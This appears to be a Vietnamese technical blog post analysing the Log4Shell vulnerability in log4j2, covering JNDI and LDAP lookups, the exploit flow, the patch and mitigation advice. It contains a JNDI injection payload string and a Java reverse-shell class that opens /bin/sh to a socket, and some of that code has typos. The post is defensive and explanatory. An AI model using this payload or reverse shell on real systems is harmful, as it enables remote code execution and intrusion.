Giới thiệu
Gần đây, một lỗ hổng phần mềm rất nghiêm trọng đã được công bố. Nó có mã định danh CVE-2021-44228 (log4shell). Lỗ hổng đã làm cộng đồng nghiên cứu bảo mật nói chung và cộng đồng những nhà phát triển Java nói riêng dậy sóng. Nguyênnhân nằm ở sự phổ biến của thư viện chứa lỗ hổng – log4j2 – được sử dụng. Ước tínhcó khoảng 35000 thư viện, ứng dụng Java phụ thuộc vào nó bị ảnh hưởng dẫn tới 25triệu máy chủ công khai trên toàn thế giới gặp nguy hiểm. Nhưng sau khi phân tích,chúng tôi nhận thấy tác động của nó có thể còn sâu rộng hơn. Để giúp người dùng, những nhà nghiên cứu về bảo mật, những người quản trị, bảo trì hệ thống có cái nhìn cụ thể hơn về lỗ hổng này, tôi sẽ phân tích về các khía cạnh: bản chất lỗ hổng, cách khai thác, cách khắc phục và đánh giá mức độảnh hưởng của lỗ hổng với các máy chủ trên thế giới và Việt Nam. Sau đây là bài phân tích kỹ thuật về lỗ hổng CVE-2021-44228.
Tổng quan về lỗ hổng
Hầu như tất cả các phiên bản Log4j2 đều bị ảnh hưởng (từ 2.0-beta9 đến phiên bản 2.14.1)

Log4j2: là một thư viện hỗ trợ ghi log, viết bằng ngôn ngữ Java, phân phối bởi Apache. Log4j2 được sử dụng rất rộng rãi. Ngoài log4j2 còn logback, java.util.logging, … hỗ trợ việc ghi log.
JNDI, LDAP và sự liên quan đến log4j2
Namingservice: là dịch vụ lưu trữ thực hiện ánh xạ “tên” (names) với các giá trị (values) tương ứng.
Directoryservice: giống naming service nhưng có thể lưu thêm các thuộc tính của các đối tượng cần truy vấn.
Các giao thức tương tác với Directoryservice
Có nhiều giao thức hỗ trợ giao tiếp với directory service: RMI, LDAP, CORBA. Tuy nhiên:
LDAP dược lợi dụng để khai thác lỗ hổng CVE-2021-44228 do tương tác sử dụng giao thức RMI, CORBA đã bị kiểm soát chặt chẽ. Ví dụ đoạn code JNDI tương tác với server LDAP:

Giới thiệu về JNDI reference
Đặt vấn đề: Để lưu một đối tượng Java vào một naming service, chúng ta có thể serialize đối tượng đó, tuy nhiên việc đó gây tốn tài nguyên và làm chậm quá trình do một đối tượng Java có thể rất lớn trong khi một naming service phải xử lý yêu cầu truy vấn trong thời gian ngắn nhất có thể.
Giải pháp: Chúng ta có thể load đối tượng Java đó một cách gián tiếp. Cụ thể, chúng ta query một bản ghi nhỏ có chứa thông tin về đối tượng đó (như địa chỉ host, tên class) để máy yêu cầu tiếp tục đi đến nơi cần thiết. Lúc này JNDI sẽ tải về file .class cần thiết và sử dụng factory để thực hiện tạo mới đối tượng thông qua phương thức constructor được định nghĩa trong file .class đó.
Ví dụ một JNDI reference:
$ cat jndi_reference
DN: a
JavaClassName: foo
JaveCodeBase: http://localhost:800/
objectClass: javaNamingReference
JaveFactory: Exploit
Nội dung đối tượng “Exploit”:
import java.net.Socket;
public class Exploit {
public Exploit() throw Exceeption {
String host = "localhost";
int port = 9001;
String cmd = "/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p, getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0) so.write(pi.read());
while (pe.available() > 0) so.write(pe.read());
while (si.available() > 0) so.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {
}
};
p.destroy();
s.close();
}
}
Kẻ tấn công có thể lợi dụng tính năng này để lừa ứng dụng có chứa lỗ hổng tải về đối tượng của kẻ tấn công sau đó thực thi code như ví dụ trên.
Phân tích POC
POC Sử dụng: https://github.com/kozmer/log4j-shell-poc

Mô tả luồng thực thi
- Kẻ tấn công gửi một input cho ứng dụng chứa lỗ hổng, kích hoạt code ghi
log. Ví dụ: “${jndi:ldap://localhost:1389/a}”. - Thư viện log4j2 phân tích cú pháp, nhận thấy có yêu cầu lookup jndi
(“${jndi:…}”), log4j2 gọi đến phương thức JndiLookup.lookup() và truyền vào tham
số đường dẫn đến server LDAP.

Phương thức này gọi đến phương thức JndiManager.lookup() của thư viện JNDI.

Từ đây, JNDI sẽ truy vấn đến server LDAP, lấy về đối tượng được truy vấn,
phân tích đối tượng. JNDI nhận thấy có attribute “javaCodeBase” và “javaFactory”
do đó sẽ thực hiện download đối tượng tại đường dẫn “javaCodeBase/javaFactory”
(trong trường hợp này: “http://localhost:8000/Exploit.class”). Cuối cùng, JNDI thực
hiện khởi tạo đối tượng sử dụng phương thức constructor trong file “Exploit.class”.
Hoạt động: mở reverse shell đến “localhost:9001”.
Phân tích code chứa lỗ hổng
Trong phiên bản log4j 2.14.1, không hề có đoạn code ngăn chặn việc sử dụng JNDI để lấy dữ liệu từ bên ngoài cũng như việc kiểm tra địa chỉ server LDAP. Cụ thể, từ đoạn code thực hiện ghi log:

Cho đến đoạn code thực hiện lấy dữ liệu về từ server LDAP, luồng thực thi không gặp một trở ngại gì.

Để khắc phục điều này, trong bản cập nhật (version 2.17.0), trong file “JndiLookup.java” đã được thêm vào đoạn code:

Hoạt động: kiểm tra tính năng “jndi lookup” có được cho phép hay không. Nếu không, lập tức throw (raise) một Exception khiến hoạt động Lookup bị ngừng lại.
https://drive.google.com/drive/folders/1aya7ZgSEMbGAH6t-Qowb47ho1-qvRUwP
Cách phòng tránh
Để phòng tránh việc bị tấn công thông qua con đường khai thác CVE-2021-
44228, chúng ta cần nắm rõ những điều sau:
- Tìm hiểu thông tin từ những nguồn đáng tin cậy.
- Kiểm tra nếu ứng dụng của mình có chứa lỗ hổng:
- Nếu sử dụng một cách trực tiếp, chúng ta nên cập nhật log4j2 lên phiên bản
mới nhất (2.17.1), hoặc nếu sử dụng log4j2 một cách gián tiếp (thông qua Apache
web server, Ghidra, Minecraft server,…), chúng ta nên cập nhật những ứng dụng trên
lên phiên bản mới nhất.